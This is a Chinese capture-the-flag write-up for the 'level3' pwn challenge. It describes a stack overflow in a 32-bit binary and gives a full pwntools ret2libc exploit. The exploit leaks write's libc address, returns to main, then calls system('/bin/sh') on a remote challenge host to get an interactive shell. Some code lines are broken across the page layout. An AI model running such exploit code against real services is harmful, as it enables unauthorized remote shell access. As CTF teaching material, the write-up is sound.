1. 程式人生 > 實用技巧 >level3

level3

題目描述:libc!libc!這次沒有system,你能幫菜雞解決這個難題麼?

題目附件:附件1

下載下來是一個gz包,用gz -d 命令解包

然後呼叫file發現是一個tar,用tar -xf 命令解包

之後是一個level3程式,和一個libc_32.so.6

file如下:

32位ELF檔案

checksec如下:

IDA反彙編,檢視main函式:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n
", 0xEu); return 0; }

檢視vulnerable_function函式:

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

存在棧溢位漏洞,我們可以通過buf的溢位,使程式執行libc中的system函式,首先需要獲得libc地址

我們選擇利用已經被使用過的write函式獲得其真實地址,從而計算offset獲得libc地址

但是每次執行程式libc地址都不同,所以需要讓程式輸出完地址後返回main函式繼續執行

NOTE:32位程式呼叫函式後,第一個4位元組會是返回地址

exp如下:

from pwn import *

elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

#io = process('./level3', env = {'LD_PRELOAD': './libc_32.so.6'})
io = connect('220.249.52.133', 44239)

write_plt_addr = elf.plt['write']
write_got_addr = elf.got['write']
main_addr = elf.symbols['
main'] payload1 = b'a'*0x8c + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4) io.sendlineafter('Input:\n', payload1) write_addr = u32(io.recv(4)) libc.address = write_addr - libc.symbols['write'] system_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) payload2 = b'a'*0x8c + p32(system_addr) + p32(0) + p32(binsh_addr) io.sendlineafter('Input:\n', payload2) io.interactive()